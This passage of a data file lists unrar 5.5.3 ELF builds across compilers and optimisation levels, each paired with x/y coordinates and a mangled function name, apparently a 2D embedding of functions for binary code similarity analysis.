"./ELF/unrar.5.5.3.builds/unrar.x86.O2.gcc.6.4.0.ELF", "x": 37.28376770019531, "y": 2.436709403991699, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.ELF", "x": 36.30086135864258, "y": 5.637031078338623, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.6.4.0.ELF", "x": 35.46408462524414, "y": 4.596961498260498, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.6.4.0.nopic.nopie.ELF", "x": 34.96702575683594, "y": 1.820753574371338, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.7.3.0.nopic.ELF", "x": 35.07329177856445, "y": -0.6890707612037659, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.6.4.0.ELF", "x": 35.51688003540039, "y": 0.9532560110092163, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.6.4.0.ELF", "x": 35.19034194946289, "y": 5.424129009246826, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.g++.6.4.0.nopic.nopie.ELF", "x": 35.35459899902344, "y": 0.1634470522403717, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.g++.7.3.0.nopic.ELF", "x": 37.98616409301758, "y": -1.9611197710037231, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.g++.7.3.0.nopic.nopie.ELF", "x": 32.06893539428711, "y": 2.3797383308410645, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.8.0.1.ELF", "x": 34.15778350830078, "y": 1.8998234272003174, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.g++.8.0.1.nopic.nopie.ELF", "x": 38.075355529785156, "y": 1.012368083000183, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.6.4.0.ELF", "x": 33.43167495727539, "y": -0.6942740082740784, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.8.0.1.ELF", "x": 34.96400451660156, "y": 2.9273667335510254, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": 24.866775512695312, "y": -0.33369168639183044, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": 24.459964752197266, "y": -0.09146945923566818, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": 25.11237907409668, "y": -0.7460123896598816, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 24.743146896362305, "y": -1.604913592338562, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 25.06465721130371, "y": -1.219939112663269, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": 23.778162002563477, "y": -1.475490927696228, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": 24.234827041625977, "y": -1.7050447463989258, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": 23.589540481567383, "y": -0.570242702960968, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.8.0.1.nopic.nopie.ELF", "x": 23.54217529296875, "y": -1.06062912940979, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": 24.250314712524414, "y": -0.7230640053749084, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.8.0.1.nopic.nopie.ELF", "x": 23.919479370117188, "y": -0.16150711476802826, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.gcc.8.0.1.ELF", "x": 24.374004364013672, "y": -1.0575705766677856, "function_name": "_ZN12ErrorHandler12SetErrorCodeE8RAR_EXI"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.ELF", "x": 11.248190879821777, "y": -22.451030731201172, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.ELF", "x": 11.24295425415039, "y": -22.440956115722656, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.clang.4.0.1.ELF", "x": 10.877476692199707, "y": -17.200075149536133, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.clang.4.0.1.nopic.nopie.ELF", "x": 10.878218650817871, "y": -17.200166702270508, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.clang.4.0.1.ELF", "x": 12.455793380737305, "y": -17.2698974609375, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.clang.4.0.1.nopic.nopie.ELF", "x": 12.456165313720703, "y": -17.26990509033203, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": 15.884613990783691, "y": -14.76901912689209, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": 15.871036529541016, "y": -14.391135215759277, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.7.3.0.nopic.ELF", "x": 14.972453117370605, "y": -14.388033866882324, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.7.3.0.nopic.ELF", "x": 15.624409675598145, "y": -15.01623249053955, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": 15.236124992370605, "y": -14.125300407409668, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": 15.26211929321289, "y": -14.989733695983887, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.g++.6.4.0.nopic.ELF", "x": 14.990052223205566, "y": -14.746149063110352, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.gcc.8.0.1.ELF", "x": 15.60362720489502, "y": -14.135692596435547, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": 14.075977325439453, "y": -23.654823303222656, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": 13.614280700683594, "y": -23.157928466796875, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.7.3.0.nopic.ELF", "x": 13.726816177368164, "y": -23.509634017944336, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.7.3.0.nopic.ELF", "x": 13.787168502807617, "y": -22.826374053955078, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": 14.611047744750977, "y": -23.184293746948242, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": 14.434144973754883, "y": -23.525625228881836, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": 14.11657428741455, "y": -22.712398529052734, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": 14.471359252929688, "y": -22.85143280029297, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.clang.4.0.1.ELF", "x": 12.02042007446289, "y": -19.838905334472656, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.clang.4.0.1.nopic.nopie.ELF", "x": 12.02042007446289, "y": -19.838905334472656, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.clang.4.0.1.ELF", "x": 12.077552795410156, "y": -20.11490821838379, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.clang.4.0.1.nopic.nopie.ELF", "x": 12.077553749084473, "y": -20.114906311035156, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.clang.4.0.1.ELF", "x": 15.728660583496094, "y": -20.145687103271484, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.clang.4.0.1.nopic.nopie.ELF", "x": 15.728660583496094, "y": -20.14568519592285, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.clang.4.0.1.ELF", "x": 14.379975318908691, "y": -19.967655181884766, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.clang.4.0.1.nopic.nopie.ELF", "x": 14.3795166015625, "y": -19.968059539794922, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.clang.4.0.1.ELF", "x": 15.734308242797852, "y": -19.164981842041016, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.clang.4.0.1.nopic.nopie.ELF", "x": 15.73430061340332, "y": -19.164993286132812, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.clang.4.0.1.ELF", "x": 14.78881549835205, "y": -18.968244552612305, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.clang.4.0.1.nopic.nopie.ELF", "x": 14.78881549835205, "y": -18.968244552612305, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.clang.4.0.1.ELF", "x": 10.784272193908691, "y": -20.379497528076172, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.clang.4.0.1.nopic.nopie.ELF", "x": 10.716626167297363, "y": -20.078533172607422, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.clang.4.0.1.ELF", "x": 10.717040061950684, "y": -20.077184677124023, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.clang.4.0.1.nopic.nopie.ELF", "x": 10.784272193908691, "y": -20.379497528076172, "function_name": "_ZN5ArrayIcE3AddE"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.clang.4.0.1.ELF", "x": -0.5822389125823975, "y": 14.068414688110352, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.clang.4.0.1.nopic.nopie.ELF", "x": -0.5819912552833557, "y": 14.068401336669922, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 4.8125, "y": 8.04196548461914, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 4.815768718719482, "y": 8.039579391479492, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.6.4.0.nopic.nopie.ELF", "x": 4.815768718719482, "y": 8.039579391479492, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": -0.3669727146625519, "y": 7.037550926208496, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": -0.3669726252555847, "y": 7.037550449371338, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.8.0.1.nopic.ELF", "x": -0.36702045798301697, "y": 7.037551403045654, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": -3.572176456451416, "y": 7.931498050689697, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": -3.5722005367279053, "y": 7.931496620178223, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.gcc.6.4.0.ELF", "x": -3.572176456451416, "y": 7.931498050689697, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.ELF", "x": 2.1507480144500732, "y": 9.863887786865234, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.clang.4.0.1.ELF", "x": -3.1041178703308105, "y": 14.302764892578125, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.clang.4.0.1.nopic.nopie.ELF", "x": -3.1041409969329834, "y": 14.30272388458252, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.ELF", "x": 2.1211698055267334, "y": 9.005606651306152, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.clang.4.0.1.ELF", "x": 2.0612263679504395, "y": 7.743800640106201, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.clang.4.0.1.nopic.nopie.ELF", "x": 2.0596907138824463, "y": 7.745415210723877, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.clang.4.0.1.ELF", "x": -4.87882137298584, "y": 11.5328950881958, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.clang.4.0.1.nopic.nopie.ELF", "x": -4.878852367401123, "y": 11.532896995544434, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.clang.4.0.1.ELF", "x": 1.6009581089019775, "y": 12.553606033325195, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.clang.4.0.1.nopic.nopie.ELF", "x": 1.601722002029419, "y": 12.553549766540527, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": 4.047919750213623, "y": 11.470755577087402, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": 4.047203540802002, "y": 11.470818519592285, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.8.0.1.nopic.nopie.ELF", "x": 4.032971382141113, "y": 11.482514381408691, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": -0.3531699776649475, "y": 10.925065994262695, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": -0.5688809752464294, "y": 11.22391414642334, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.7.3.0.nopic.ELF", "x": -0.3592939078807831, "y": 10.584821701049805, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.7.3.0.nopic.ELF", "x": -0.8906592130661011, "y": 11.281769752502441, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": -0.6240642070770264, "y": 10.373828887939453, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": -1.204582929611206, "y": 10.711337089538574, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.6.4.0.nopic.nopie.ELF", "x": -1.179140329360962, "y": 11.064032554626465, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.g++.8.0.1.nopic.nopie.ELF", "x": -0.9837908148765564, "y": 10.426547050476074, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": -0.2263374775648117, "y": 17.00896644592285, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": -0.22633643448352814, "y": 17.008960723876953, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.8.0.1.nopic.nopie.ELF", "x": -0.22592726349830627, "y": 17.00783348083496, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": 4.938871383666992, "y": 4.593993186950684, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O3.g++.7.3.0.nopic.ELF", "x": 4.938822269439697, "y": 4.594150543212891, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": -19.392045974731445, "y": 0.9864071011543274, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": -19.392108917236328, "y": 0.9864813685417175, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.8.0.1.nopic.ELF", "x": -19.392009735107422, "y": 0.9864016175270081, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": 7.365289211273193, "y": 9.790802955627441, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": 7.365289688110352, "y": 9.790802955627441, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.6.4.0.nopic.ELF", "x": 7.36461067199707, "y": 9.790556907653809, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.7.3.0.nopic.ELF", "x": 1.8731207847595215, "y": 14.954507827758789, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O2.g++.7.3.0.nopic.ELF", "x": 1.8737679719924927, "y": 14.95310115814209, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": 4.434907913208008, "y": 12.757791519165039, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": 4.434907913208008, "y": 12.757791519165039, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.g++.6.4.0.nopic.nopie.ELF", "x": 4.434907913208008, "y": 12.757791519165039, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": 5.066949844360352, "y": 12.318558692932129, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": 5.067017555236816, "y": 12.318933486938477, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O1.gcc.7.3.0.ELF", "x": 5.126141548156738, "y": 12.653133392333984, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.O0.ELF", "x": 1.1833288669586182, "y": 11.772248268127441, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.7.3.0.nopic.ELF", "x": 8.93724536895752, "y": 12.549524307250977, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.g++.7.3.0.nopic.ELF", "x": 8.935953140258789, "y": 12.550177574157715, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x64.Os.ELF", "x": 6.193337917327881, "y": 9.638123512268066, "function_name": "_Z11CalcFileSumP4FilePjPhjl"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": 3.35198974609375, "y": -4.566117763519287, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": 3.3526270389556885, "y": -4.567398548126221, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.gcc.6.4.0.ELF", "x": 3.353012800216675, "y": -4.567364692687988, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.clang.4.0.1.ELF", "x": 1.3360211849212646, "y": -1.6087852716445923, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.clang.4.0.1.nopic.nopie.ELF", "x": 1.3360222578048706, "y": -1.6087782382965088, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.g++.7.3.0.nopic.ELF", "x": -1.1898504495620728, "y": -4.188633918762207, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.ELF", "x": -1.3139628171920776, "y": -7.20790958404541, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.8.0.1.ELF", "x": -1.6439212560653687, "y": -3.3236985206604004, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.gcc.8.0.1.ELF", "x": -1.643915057182312, "y": -3.323617458343506, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O0.ELF", "x": 0.908108651638031, "y": -2.2261173725128174, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.clang.4.0.1.ELF", "x": 1.0305856466293335, "y": -6.079736709594727, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.Os.clang.4.0.1.nopic.nopie.ELF", "x": 1.0305856466293335, "y": -6.079736709594727, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.7.3.0.nopic.nopie.ELF", "x": -1.4470800161361694, "y": 0.2437041997909546, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.g++.7.3.0.nopic.nopie.ELF", "x": -1.4470621347427368, "y": 0.2437037229537964, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.g++.7.3.0.nopic.ELF", "x": -1.4471625089645386, "y": 0.24370568990707397, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.ELF", "x": 4.415355682373047, "y": -6.992056846618652, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O3.ELF", "x": 4.4142961502075195, "y": -6.991230010986328, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.clang.4.0.1.ELF", "x": -0.1305447220802307, "y": -6.7842302322387695, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O1.clang.4.0.1.nopic.nopie.ELF", "x": -0.02162281610071659, "y": -6.158342361450195, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": "./ELF/unrar.5.5.3.builds/unrar.x86.O2.clang.4.0.1.ELF", "x": 0.22092674672603607, "y": -6.756739616394043, "function_name": "_Z14uiAskReplaceExP10RAROptionsPwjxP7RarTime"}, {"file_name": 